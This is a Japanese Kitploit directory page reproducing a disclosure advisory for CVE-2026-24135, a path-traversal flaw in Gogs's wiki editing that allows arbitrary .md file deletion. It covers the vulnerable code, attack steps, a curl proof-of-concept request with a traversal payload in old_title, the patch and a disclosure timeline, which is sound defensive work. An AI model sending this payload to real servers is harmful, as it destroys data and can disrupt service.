Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-24135 — Gogs における Wiki パストラバーサルによる任意のファイル削除 | Kitploit
ツール/GitHubGitHub/reschjonas/cve-2026-24135
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubreschjonas/cve-2026-24135

CVE-2026-24135

Gogs における Wiki パストラバーサルによる任意のファイル削除

リポジトリを見る
154ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-24135: WikiパストラバーサルによるGogsの任意ファイル削除

重大度: 高 (CVSS 7.5)
影響を受けるソフトウェア: Gogs <= 0.13.3
修正バージョン: 0.13.4, 0.14.0+dev
勧告: GHSA-jp7c-wj6q-3qf2
パッチ: gogs/gogs#8099


概要

Gogs(Goで書かれた人気のセルフホスト型Gitサービス)のセキュリティ監査中に、updateWikiPage 関数にパストラバーサル脆弱性を発見しました。これにより、wiki書き込み権限を持つ認証済みユーザーが、wiki編集フォームの old_title パラメータにパストラバーサルシーケンスを注入することで、サーバー上の任意のファイルを削除できます。


根本原因

この脆弱性は、internal/database/wiki.go における非対称なサニタイズ欠陥です。wikiページが更新されるとき、関数は2つのタイトルパラメータを異なる方法で処理します。

パラメータサニタイズ?使用箇所
title(新しい名前)はい — ToWikiPageName() を使用ファイル作成用の path.Join()
oldTitle(以前の名前)いいえpath.Join() + os.Remove()

脆弱なコード

// internal/database/wiki.go

// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")

// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
    os.Remove(path.Join(localPath, oldTitle+".md"))  // ← VULNERABLE
}

oldTitle の値は、ユーザーが制御するフォーム入力からルートハンドラを経由して、パスのサニタイズなしに直接 os.Remove() へ渡されます。


データフロー

User Input (Form)          Route Handler                    Database Function
┌─────────────────┐        ┌─────────────────────┐          ┌──────────────────────────┐
│ f.OldTitle      │───────>│ EditWikiPost()      │─────────>│ updateWikiPage()         │
│ (unsanitized)   │        │ wiki.go:246         │          │                          │
└─────────────────┘        │                     │          │ Line 114:                │
                           │ No sanitization!    │          │ os.Remove(path.Join(     │
                           │                     │          │   localPath,             │
                           └─────────────────────┘          │   oldTitle+".md"))       │
                                                            └──────────────────────────┘

攻撃ベクトル

前提条件: 任意のリポジトリwikiへの書き込みアクセス権を持つ認証済みユーザー。

  1. 既存のwikiページを編集するための画面に移動する
  2. /repo/wiki/edit へのPOSTリクエストを傍受する
  3. old_title フォームフィールドにパストラバーサルシーケンス(例: ../../../../tmp/target_file)を含むように変更する
  4. リクエストを送信する
  5. サーバーがトラバーサルパスを解決し、対象ファイルを削除する

概念実証

# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title

curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
  -H "Cookie: i_like_gogs=<session_cookie>" \
  -d "old_title=../../../../../../../tmp/target_file" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

# Result: /tmp/target_file.md is deleted from the server

.md 拡張子は自動的に追加されます。Gogsプロセスが書き込み権限を持つ、.md で終わる任意のファイルを削除できます。


影響

影響説明
任意ファイル削除Gogsプロセスが書き込み可能な任意の .md ファイルを削除できる
サービス拒否 (DoS)重要な設定ファイルやデータファイルを削除できる
データ損失他のユーザーのwikiページ、ドキュメント、リポジトリファイルを破壊できる
昇格の可能性他の脆弱性と連鎖させて、さらなる侵害につながる可能性がある

修正

title に既に適用されているのと同じ ToWikiPageName サニタイズを oldTitle にも適用します:

 func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
     // ... existing code ...

     title = ToWikiPageName(title)

+    // Sanitize oldTitle to prevent path traversal
+    if oldTitle != "" {
+        oldTitle = ToWikiPageName(oldTitle)
+    }

     filename := path.Join(localPath, title+".md")
     // ...
 }

私は開示時にこの修正を提案し、Gogsメンテナーが PR #8099 で実装しました。


開示のタイムライン

日付出来事
2025-12-13セキュリティ監査中に脆弱性を発見
2025-12-13GitHub Security Advisory を通じて勧告を提出 (GHSA-jp7c-wj6q-3qf2)
2026-01-20Gogsメンテナーにフォローアップ
2026-01-20メンテナーが脆弱性を認識
2026-01-22パッチがマージされた (#8099)
2026-01-22GitHub によって CVE-2026-24135 が割り当てられた
2026-02-06公開開示

参考文献

  • GitHub セキュリティアドバイザリ: GHSA-jp7c-wj6q-3qf2
  • パッチ: gogs/gogs#8099
  • Gogsプロジェクト
ツールをダウンロード